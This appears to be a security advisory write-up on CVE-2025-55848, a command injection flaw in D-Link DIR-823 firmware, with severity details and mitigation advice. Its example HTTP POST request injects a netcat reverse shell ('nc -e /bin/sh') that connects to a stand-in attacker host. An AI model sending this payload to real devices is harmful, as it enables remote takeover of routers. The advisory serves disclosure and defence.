Overview
CVE-2025-55848 is a serious vulnerability discovered in the DIR-823 firmware, version 20250416. This flaw allows attackers to execute arbitrary commands on the target system, potentially leading to a full system compromise or data leakage. As the firmware is popular among many network devices, the implications of this vulnerability could be far-reaching, making it a pressing issue for any organization or individual using affected devices. The severity of this issue underscores the importance of timely patching and implementation of cybersecurity best practices.
Vulnerability Summary
CVE ID: CVE-2025-55848
Severity: High (8.8 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise or data leakage
Affected Products
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Product | Affected Versions
DIR-823 Firmware | 20250416
How the Exploit Works
The exploit takes advantage of a flaw in the set_cassword settings interface of the DIR-823 firmware. Specifically, the http_casswd parameter does not filter out the ‘&’ character. This omission enables an attacker to inject reverse connection commands, effectively allowing them to execute arbitrary code on the system. By leveraging this flaw, an attacker could potentially gain control of the system or access sensitive data.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This is a theoretical HTTP POST request, exploiting the lack of input sanitization of the http_casswd parameter:
POST /set_cassword HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
http_casswd=1234&;nc -e /bin/sh attacker.com 4444In this example, the attacker is injecting a Netcat (`nc`) command following the ‘&’ character in the http_casswd parameter. The command sets up a reverse shell that connects back to the attacker’s server (`attacker.com`) on port 4444, providing the attacker with a shell on the target system.
Mitigation and Recommendations
The most effective way to mitigate this vulnerability is to apply the vendor-supplied patch as soon as it is available. If the patch is not immediately available, or if there are constraints preventing immediate patching, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can be used as a temporary measure to detect and block exploit attempts. It’s also recommended to monitor system logs for any unusual activities, and to always use strong, unique passwords to protect against brute force or dictionary attacks.
